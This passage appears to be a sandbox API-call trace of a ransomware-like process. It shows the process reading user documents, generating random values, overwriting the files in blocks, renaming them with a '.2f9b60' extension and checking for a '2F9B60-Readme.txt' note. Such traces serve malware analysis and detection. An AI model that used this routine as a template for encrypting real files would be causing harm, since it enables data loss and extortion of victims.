SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x1682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.536] ReadFile (in: hFile=0xd04, lpBuffer=0x242dfbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x242dfc08, lpOverlapped=0x0 | out: lpBuffer=0x242dfbc0*, lpNumberOfBytesRead=0x242dfc08*=0x4, lpOverlapped=0x0) returned 1 [0093.537] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f730 [0093.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.537] NtQuerySystemTime (in: CurrentTime=0x242dfb00 | out: CurrentTime=0x242dfb00*=132462176993794000) returned 0x0 [0093.537] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x1bc737d0 [0093.537] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x61e61fca [0093.537] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x56baf1ee [0093.537] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x6ee1291e [0093.537] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x6c5bb828 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x7bd137f3 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x62272758 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x249b896 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x2c7149ff [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x2177d0bd [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x3ea2ccd3 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x52fb7ff2 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x15387c25 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x16354330 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x7e74eea9 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x7744bfb0 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x39311bc3 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x6008cbcf [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x3b4126a6 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0xb21f6eb [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0xe56ae96 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x558df9f9 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x33ac5738 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x17a047e1 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x33755505 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x644ba7ee [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0xd5012c7 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x2822a782 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x1dd1c382 [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x25701e1c [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x26e0261e [0093.538] RtlRandomEx (in: Seed=0x242dfaf0 | out: Seed=0x242dfaf0) returned 0x6fc08e31 [0093.547] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x1686, lpNumberOfBytesRead=0x242dfaf0, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x242dfaf0*=0x1686, lpOverlapped=0x0) returned 1 [0093.547] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.547] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x1686, lpNumberOfBytesWritten=0x242dfaf4, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x242dfaf4*=0x1686, lpOverlapped=0x0) returned 1 [0093.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0093.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0093.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9ebb0 [0093.554] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.554] WriteFile (in: hFile=0xd04, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x242dfc10, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x242dfc10*=0x118, lpOverlapped=0x0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166ce0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ebb0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b784760 [0093.569] wcscpy (in: _Dest=0x1b784760, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx" [0093.570] wcscat (in: _Dest=0x1b784760, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx.2f9b60" [0093.570] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx.2f9b60", NtPathName=0x242dfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uYU4eydMCSdIyX.docx.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce114a0 [0093.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.571] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x242dfc98, FileInformation=0x242dfca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x242dfc98, FileInformation=0x242dfca8) returned 0x0 [0093.571] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x242dfc98, FileInformation=0x242dfca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784760) returned 1 [0093.575] FlushFileBuffers (hFile=0xd04) returned 1 [0093.576] CloseHandle (hObject=0xd04) returned 1 [0093.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f290 [0093.577] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.577] wcscat (in: _Dest=0x1b85f290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.577] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f290) returned 1 [0093.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 Thread: id = 536 os_tid = 0xde0 [0093.579] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vdsuh.doc")) returned 0x20 [0093.579] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc", dwFileAttributes=0x20) returned 1 [0093.579] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vdsuh.doc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.580] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x23e8f700 | out: lpFileSize=0x23e8f700*=85874) returned 1 [0093.580] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x14f6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.580] ReadFile (in: hFile=0xd04, lpBuffer=0x23e8f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23e8f6c8, lpOverlapped=0x0 | out: lpBuffer=0x23e8f680*, lpNumberOfBytesRead=0x23e8f6c8*=0x4, lpOverlapped=0x0) returned 1 [0093.581] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f6a0 [0093.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.581] NtQuerySystemTime (in: CurrentTime=0x23e8f5c0 | out: CurrentTime=0x23e8f5c0*=132462176994106000) returned 0x0 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0xbfe1320 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2f708e7c [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x661e675e [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2a18323f [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x7294c845 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x145d2996 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x556b480f [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2d2832ac [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x74079a1 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2a15fb05 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x54f80f0c [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2e618a20 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x6a5c5f36 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x5247c48f [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2e710cf [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x10fcef8d [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0xf48862 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x76c719d8 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x7a722588 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x75001fc2 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x5d9b55b0 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x3b6dca66 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x36f42daa [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x2e99b755 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x50b548c5 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x1a63a496 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x45e8a607 [0093.581] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x4bc0d135 [0093.582] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x342b1b98 [0093.582] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x781c26e4 [0093.582] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x449a360f [0093.582] RtlRandomEx (in: Seed=0x23e8f5b0 | out: Seed=0x23e8f5b0) returned 0x1648d309 [0093.595] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.595] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.595] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0093.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.596] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.596] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.597] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.597] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.597] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7f0 [0093.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.598] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.605] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x11372, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.605] ReadFile (in: hFile=0xd04, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.605] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x11372, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f9560 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0093.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f760 [0093.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f760) returned 1 [0093.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.606] WriteFile (in: hFile=0xd04, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23e8f620, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x23e8f620*=0x3c00, lpOverlapped=0x0) returned 1 [0093.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0093.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86eb10 [0093.606] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.607] WriteFile (in: hFile=0xd04, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x23e8f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x23e8f6d0*=0x144, lpOverlapped=0x0) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7f0) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f850) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb10) returned 1 [0093.608] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f6a0) returned 1 [0093.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f730) returned 1 [0093.609] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0093.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f310 [0093.609] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc" [0093.609] wcscat (in: _Dest=0x1b85f310, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc.2f9b60" [0093.609] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc.2f9b60", NtPathName=0x23e8f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VDSuh.doc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.609] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad5c0 [0093.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.611] NtQueryInformationFile (in: FileHandle=0xd04, IoStatusBlock=0x23e8f758, FileInformation=0x23e8f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23e8f758, FileInformation=0x23e8f768) returned 0x0 [0093.611] NtSetInformationFile (FileHandle=0xd04, IoStatusBlock=0x23e8f758, FileInformation=0x23e8f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.612] FlushFileBuffers (hFile=0xd04) returned 1 [0093.613] CloseHandle (hObject=0xd04) returned 1 [0093.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0093.614] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.614] wcscat (in: _Dest=0x1b85f310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.614] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0093.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eb80) returned 1 Thread: id = 537 os_tid = 0xde4 [0093.624] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wDujmyK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wdujmyk.pps")) returned 0x20 [0093.625] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wDujmyK.pps", dwFileAttributes=0x20) returned 1 [0093.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wDujmyK.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wdujmyk.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd04 [0093.625] GetFileSizeEx (in: hFile=0xd04, lpFileSize=0x2457fb00 | out: lpFileSize=0x2457fb00*=54804) returned 1 [0093.625] SetFilePointerEx (in: hFile=0xd04, liDistanceToMove=0xd610, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.625] ReadFile (in: hFile=0xd04, lpBuffer=0x2457fa80, 